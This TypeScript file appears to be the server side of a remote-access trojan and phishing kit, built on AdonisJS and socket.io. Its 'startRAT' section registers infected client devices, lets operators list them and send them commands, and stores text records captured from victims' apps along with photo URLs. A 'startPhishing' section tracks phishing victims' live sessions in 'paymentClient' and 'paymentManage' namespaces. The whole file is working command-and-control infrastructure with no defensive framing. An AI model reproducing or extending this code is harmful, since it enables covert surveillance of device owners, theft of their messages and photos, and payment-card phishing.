import Logger from '@ioc:Adonis/Core/Logger'
import { Namespace, Server, Socket } from 'socket.io'
import AdonisServer from '@ioc:Adonis/Core/Server'
import auth from 'App/Middleware/Auth'
import Phish from 'App/Models/Phish'
import TextRecord from 'App/Models/TextRecord'
import FilesRecord from 'App/Models/FilesRecord'

class Ws {
    public io: Server
    public clientsIO: Namespace
    public adminIO: Namespace
    public phishIO: Namespace
    public hookIO: Namespace
    private booted = false

    private clients: { [key: string]: any } = {}
    private phiClients: { [key: string]: any } = {}

    public boot() {
        Phish.query()
            .update('online', 0)
            .then(() => {})
        /**
         * Ignore multiple calls to the boot method
         */
        if (this.booted) {
            return
        }

        this.booted = true
        this.io = new Server(AdonisServer.instance!, {
            path: '/ws',
            cors: {
                origin: '*'
            }
        })

        this.startRAT()
        this.startPhishing()
    }

    public startRAT() {
        this.clientsIO = this.io.of('client')
        this.adminIO = this.io.of('admin')

        this.clientsIO.on('connection', (socket: Socket) => {
            Logger.info('Client connected ' + JSON.stringify(socket.handshake))
            this.clients[socket.id] = {
                ...socket.handshake
            }

            socket.on('disconnect', (reason) => {
                Logger.info('Client disconnected ' + reason)
                delete this.clients[socket.id]
            })

            socket.on('info', (data) => {
                this.clients[socket.id] = { id: socket.id, ...this.clients[socket.id], ...data }
            })

            socket.on('result', (args: { to: string; action: string; data: any }) => {
                Logger.info('got cmdResult ' + JSON.stringify(args))
                this.adminIO.to(args.to).emit('result', {
                    from: socket.id,
                    action: args.action,
                    data: args.data
                })
            })

            // 监听 saveTextRecord 事件
            socket.on('saveTextRecord', async (data: any) => {
                try {
                    Logger.info('got saveTextRecord ' + JSON.stringify(data))
                    const textRecord = await TextRecord.create({
                        deviceId: data.deviceId,
                        appName: data.appName,
                        record: data.record
                    })
                    socket.emit('result', { success: true, message: 'Data saved to database' })
                } catch (e) {
                    Logger.error('Error saving text record: ' + e.message)
                    socket.emit('result', { success: false, message: 'Failed to save data' })
                }
            })

            // 监听 savePhotos 事件
            socket.on('savePhotos', async (data: any) => {
                try {
                    Logger.info('got savePhotos ' + JSON.stringify(data))
                    const filesRecord = await FilesRecord.create({
                        deviceId: data.deviceId,
                        fileUrl: data.url
                    })
                    socket.emit('result', { success: true, message: 'Data saved to database' })
                } catch (e) {
                    Logger.error('Error saving photos: ' + e.message)
                    socket.emit('result', { success: false, message: 'Failed to save data' })
                }
            })

        })

        this.adminIO.on('connection', (socket: Socket) => {
            Logger.info('Admin connected ' + JSON.stringify(socket.handshake))
            socket.on('clients', (args) => {
                this.adminIO.to(socket.id).emit('clients', Object.values(this.clients))
            })
            socket.on('sendCmd', (args: { to: string; action: string; data: any }) => {
                Logger.info(
                    'sent cmd ' +
                        JSON.stringify({
                            from: socket.id,
                            action: args.action,
                            data: args.data
                        })
                )
                this.clientsIO.to(args.to).emit('cmd', {
                    from: socket.id,
                    action: args.action,
                    data: args.data
                })
            })
        })
    }

    public startPhishing() {
        this.phishIO = this.io.of('paymentClient')
        this.hookIO = this.io.of('paymentManage')

        this.phishIO.on('connection', (socket: Socket) => {
            Logger.info('Client connected ' + JSON.stringify(socket.handshake))

            Phish.find(parseInt(socket.handshake.query.id as string))
                .then((res) => {
                    if (res) {
                        res.online = true
                        res.socketId = socket.id
                        res.save()
                    }
                })
                .catch((e) => {
                    Logger.error(e)
                })

            this.clients[socket.id] = {
                ...socket.handshake
            }

            socket.on('disconnect', (reason) => {
                Logger.info('Client disconnected ' + reason)
                Phish.find(parseInt(socket.handshake.query.id as string))
                    .then((res) => {
                        if (res) {
                            res.online = false
                            res.save()
                        }
                    })
                    .catch((e) => {
                        Logger.error(e)
                    })
                delete this.clients[socket.id]
            })

            socket.on('info', (data) => {
                this.phishIO[socket.id] = { id: socket.id, ...this.clients[socket.id], ...data }
            })

            socket.on('result', (args: { to: string; action: string; data: any }) => {
                Logger.info('got cmdResult ' + JSON.stringify(args))
                this.adminIO.to(args.to).emit('result', {
                    from: socket.id,
                    action: args.action,
                    data: args.data
                })
            })
        })

        this.hookIO.on('connection', (socket: Socket) => {
            Logger.info('Admin connected ' + JSON.stringify(socket.handshake))
            socket.on('clients', (args) => {
                this.adminIO.to(socket.id).emit('clients', Object.values(this.clients))
            })
            socket.on('sendCmd', (args: { to: string; action: string; data: any }) => {
                Logger.info(
                    'sent cmd ' +
                        JSON.stringify({
                            from: socket.id,
                            action: args.action,
                            data: args.data
                        })
                )
                this.clientsIO.to(args.to).emit('cmd', {
                    from: socket.id,
                    action: args.action,
                    data: args.data
                })
            })
        })
    }
}

export default new Ws()
